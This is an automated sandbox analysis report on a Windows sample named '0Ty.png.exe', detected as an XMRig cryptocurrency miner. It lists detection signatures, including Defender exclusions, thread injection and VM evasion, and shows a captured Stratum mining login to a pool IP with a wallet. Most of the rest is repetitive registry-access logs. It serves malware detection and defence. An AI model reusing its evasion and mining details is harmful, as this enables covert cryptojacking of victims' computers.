Windows Analysis Report
0Ty.png.exe

Overview

General Information

Sample name: 0Ty.png.exe
Analysis ID: 1580691
MD5: 3cae1f11044d2ca787824610a40f1696
SHA1: bf4af642f36e87b887f973f47a46bcb2e656c636
SHA256: 50ae56d020d35a747bdf32acbd7c9cc23f8a6827d19c5f32bb05d068acf47251
Tags: exeuser-Jame
Infos:

Detection

Xmrig
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Disable power options
Sigma detected: Stop EventLog
Suricata IDS alerts for network traffic
Yara detected Xmrig cryptocurrency miner
.NET source code contains process injector
.NET source code references suspicious native API functions
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Contains functionality to compare user and computer (likely to detect sandboxes)
Contains functionality to inject code into remote processes
Creates a thread in another existing process (thread injection)
Detected Stratum mining protocol
Found strings related to Crypto-Mining
Found suspicious powershell code related to unpacking or dynamic code loading
Hooks files or directories query functions (used to hide files and directories)
Hooks processes query functions (used to hide processes)
Hooks registry keys query functions (used to hide registry keys)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Installs new ROOT certificates
Loading BitLocker PowerShell Module
Modifies power options to not sleep / hibernate
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
Obfuscated command line found
Query firmware table information (likely to detect VMs)
Sample is not signed and drops a device driver
Self deletion via cmd or bat file
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential WinAPI Calls Via CommandLine
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Suspicious powershell command line found
Uses an obfuscated file name to hide its real file extension (double extension)
Uses powercfg.exe to modify the power settings
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates COM task schedule object (often to register a task for autostart)
Creates a process in suspended mode (likely to inject code)
Creates driver files
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (may stop execution after accessing registry keys)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Powershell Defender Exclusion
Sigma detected: Uncommon Svchost Parent Process
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
xmrig According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

AV Detection

barindex
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe ReversingLabs: Detection: 65%
Source: 0Ty.png.exe Virustotal: Detection: 65% Perma Link
Source: 0Ty.png.exe ReversingLabs: Detection: 65%
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Source: C:\Windows\System32\dialer.exe Code function: 24_2_0000000140001000 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext, 24_2_0000000140001000
Source: C:\Windows\System32\dialer.exe Code function: 62_2_0000000140001000 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext, 62_2_0000000140001000

Bitcoin Miner

barindex
Source: Yara match File source: dump.pcap, type: PCAP
Source: Yara match File source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000041.00000002.2939799608.000002F62B721000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000041.00000002.2939799608.000002F62B6C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000041.00000002.2936453016.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: global traffic TCP traffic: 192.168.2.4:49730 -> 194.164.234.171:10128 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"47fxvmqwe3icaroaa2otudltu9sjascu5xpzwpd9clqhswjmnjwpbojh6ffsyasrgfq9kuv7nqp2sisa3c4kwuggfshb9to","pass":"","agent":"xmrig/6.21.3 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2022","rigid":"","algo":["rx/0","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/upx2","cn/1","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja","ghostrider"]}}.
Source: dialer.exe String found in binary or memory: cryptonight/0
Source: 0Ty.png.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD} Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32 Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD} Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32 Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32 Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD} Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD} Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD} Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32 Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD} Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32 Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32 Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD} Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD} Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD} Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32 Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD} Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32 Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32 Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD} Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD} Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD} Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32 Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD} Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32 Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32 Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD} Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD} Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs Jump to behavior
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\dialer.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
